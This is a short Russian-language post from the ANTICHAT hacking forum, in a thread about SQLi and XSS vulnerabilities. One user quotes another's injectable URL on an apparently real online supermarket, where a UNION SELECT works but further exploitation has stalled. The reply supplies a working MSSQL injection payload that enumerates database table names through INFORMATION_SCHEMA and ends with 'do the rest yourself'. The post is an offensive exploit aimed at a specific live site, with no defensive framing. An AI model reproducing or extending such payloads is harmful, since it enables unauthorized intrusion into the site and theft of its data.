ANTICHAT - Показать сообщение отдельно - Уязвимости SQLi, XSS и другие.

Цитата:

Сообщение от x4t3a

↑
sqli:
http://xn--80aaatb1acozlcgklg.xn--p1ai/goods.aspx?id=80637 UNION ALL SELECT 1,2,3
а дальше не получается раскрутить

Что не получается? П.С только сейчас увидел ты это аттак

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//атаксупермаркет.рф/goods.aspx?id=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES +WHERE+TABLE_NAME+NOT+IN+('yml_catalog','shop','email','currencies','currency','categories','category','offers','offer','categoryId','picture','orderingTime','onstock','ordering'))+--+[/COLOR][/COLOR]

Дальше сам

Код HTML:

https://rdot.org/forum/showthread.php?t=826